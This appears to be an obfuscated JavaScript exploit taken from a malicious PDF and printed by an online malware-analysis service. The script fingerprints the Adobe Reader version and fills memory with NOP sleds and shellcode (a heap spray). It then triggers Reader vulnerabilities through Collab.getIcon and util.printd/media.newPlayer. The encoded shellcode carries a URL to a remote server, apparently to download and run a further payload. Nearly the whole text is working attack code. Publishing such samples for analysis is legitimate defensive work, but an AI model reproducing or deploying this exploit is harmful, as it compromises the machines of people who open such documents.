var _1o='%u8366%uFCE4%u85FC%u75E4%uE934%u335F%u64C0%u408B%u8B30%u0C40%u708B%u561C%u768B%u3308%u66DB%u5E8B%u033C%u3374%u812C%u15EE%uFF10%uB8FF%u408B%uC330%u3946%u7506%u87FB%u2434%uE485%u5175%uEBE9%u514C%u8B56%u3C75%u748B%u7835%uF503%u8B56%u2076%uF503%uC933%u4149%uADFC%uC503%uDB33%uBE0F%u3810%u74F2%uC108%u0DCB%uDA03%uEB40%u3BF1%u751F%u5EE6%u5E8B%u0324%u66DD%u0C8B%u8D4B%uEC46%u54FF%u0C24%uD88B%uDD03%u048B%u038B%uABC5%u595E%uEBC3%uAD53%u688B%u8020%u0C7D%u7433%u9603%uF3EB%u688B%u8B08%u6AF7%u5905%u98E8%uFFFF%uE2FF%uE8F9%u0000%u0000%u5058%u406A%uFF68%u0000%u5000%uC083%u5019%u8B55%u8BEC%u105E%uC383%uFF05%u68E3%u6E6F%u0000%u7568%u6C72%u546D%u16FF%uC483%u8B08%uE8E8%uFF61%uFFFF%u02EB%u72EB%uEC81%u0104%u0000%u5C8D%u0C24%u04C7%u7224%u6765%uC773%u2444%u7604%u3372%uC732%u2444%u2008%u732D%u5320%uF868%u0000%uFF00%u0C56%uE88B%uC933%uC751%u1D44%u7700%u6270%uC774%u1D44%u2E05%u6C64%uC66C%u1D44%u0009%u8A59%u04C1%u8830%u1D44%u4104%u6A51%u6A00%u5300%u6A57%uFF00%u1456%uC085%u1675%u006A%uFF53%u0456%u006A%uEB83%u530C%u56FF%u8304%u0CC3%u02EB%u13EB%u8047%u003F%uFA75%u8047%u003F%uC475%u006A%uFE6A%u56FF%uE808%uFE9C%uFFFF%u4E8E%uEC0E%uFE98%u0E8A%u6F89%uBD01%uCA33%u5B8A%uC61B%u7946%u1A36%u702F%u7468%u7074%u2F3A%u392F%u2E31%u3232%u2E38%u3331%u2E33%u3635%u642F%u676E%u3932%u3930%u3131%u642F%u3162%u3235%u3433%u3839%u6664%u3937%u3536%u3461%u6363%u3864%u6261%u3463%u3333%u3739%u3666%u2F64%u3764%u702E%u7068%u663F%u673D%u0000';var _2o='%u8366%uFCE4%u85FC%u75E4%uE934%u335F%u64C0%u408B%u8B30%u0C40%u708B%u561C%u768B%u3308%u66DB%u5E8B%u033C%u3374%u812C%u15EE%uFF10%uB8FF%u408B%uC330%u3946%u7506%u87FB%u2434%uE485%u5175%uEBE9%u514C%u8B56%u3C75%u748B%u7835%uF503%u8B56%u2076%uF503%uC933%u4149%uADFC%uC503%uDB33%uBE0F%u3810%u74F2%uC108%u0DCB%uDA03%uEB40%u3BF1%u751F%u5EE6%u5E8B%u0324%u66DD%u0C8B%u8D4B%uEC46%u54FF%u0C24%uD88B%uDD03%u048B%u038B%uABC5%u595E%uEBC3%uAD53%u688B%u8020%u0C7D%u7433%u9603%uF3EB%u688B%u8B08%u6AF7%u5905%u98E8%uFFFF%uE2FF%uE8F9%u0000%u0000%u5058%u406A%uFF68%u0000%u5000%uC083%u5019%u8B55%u8BEC%u105E%uC383%uFF05%u68E3%u6E6F%u0000%u7568%u6C72%u546D%u16FF%uC483%u8B08%uE8E8%uFF61%uFFFF%u02EB%u72EB%uEC81%u0104%u0000%u5C8D%u0C24%u04C7%u7224%u6765%uC773%u2444%u7604%u3372%uC732%u2444%u2008%u732D%u5320%uF868%u0000%uFF00%u0C56%uE88B%uC933%uC751%u1D44%u7700%u6270%uC774%u1D44%u2E05%u6C64%uC66C%u1D44%u0009%u8A59%u04C1%u8830%u1D44%u4104%u6A51%u6A00%u5300%u6A57%uFF00%u1456%uC085%u1675%u006A%uFF53%u0456%u006A%uEB83%u530C%u56FF%u8304%u0CC3%u02EB%u13EB%u8047%u003F%uFA75%u8047%u003F%uC475%u006A%uFE6A%u56FF%uE808%uFE9C%uFFFF%u4E8E%uEC0E%uFE98%u0E8A%u6F89%uBD01%uCA33%u5B8A%uC61B%u7946%u1A36%u702F%u7468%u7074%u2F3A%u392F%u2E31%u3232%u2E38%u3331%u2E33%u3635%u642F%u676E%u3932%u3930%u3131%u642F%u3162%u3235%u3433%u3839%u6664%u3937%u3536%u3461%u6363%u3864%u6261%u3463%u3333%u3739%u3666%u2F64%u3864%u702E%u7068%u663F%u6E3D%u0000';function _3o(){var _4o=app.viewerVersion.toString();_4o=_4o.replace('.','');while(_4o.length<4){_4o+='0';}_4o=parseInt(_4o,10);return _4o;}function _5o(){function _6o(){var _7o='p@111111111111111111111111 : yyyy111';util.printd(_7o,new Date());}var _8o=12000;_9o=new Array();var _1o0='%u9090%u9090';var _1o1=_2o;_1o0=unescape(_1o0);_1o1=unescape(_1o1);while(_1o0.length<=0x8000){_1o0+=_1o0;}_1o0=_1o0.substr(0,0x8000-_1o1.length); for(_1o2=0;_1o2<_8o;_1o2++){_9o[_1o2]=_1o0+_1o1;}if(_8o){_6o();_6o();try{this.media.newPlayer(null);}catch(e){}_6o();}}function _1o3(){var _1o4=unescape(_1o);_1o5=unescape('%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090')+_1o4;_1o6=unescape('%u9090%u9090');_1o7=10;_1o8=_1o7+_1o5.length;while(_1o6.length<_1o8)_1o6+=_1o6;_1o9=_1o6.substring(0,_1o8);_2o2=_1o6.substring(0,_1o6.length-_1o8);while(_2o2.length+_1o8<0x40000)_2o2=_2o2+_2o2+_1o9;_2o0=new Array();for(_2o1=0;_2o1<180;_2o1++)_2o0[_2o1]=_2o2+_1o5;var _2o3=4012;var _2o4=Array(_2o3);for(_2o1=0;_2o1<_2o3;_2o1++){_2o4[_2o1]=unescape('



');}Collab.getIcon(_2o4+'_N.bundle');}var _4o=_3o();if(((_4o>8950)&&(_4o<9050))||((_4o>=8000)&&(_4o<=8102))){_1o3();}else if((_4o>=9100)||(_4o<=9200)||(_4o>=8103)||(_4o<=8107)){_5o();}

Open this report in the interactive analyzer, or submit your own file for analysis.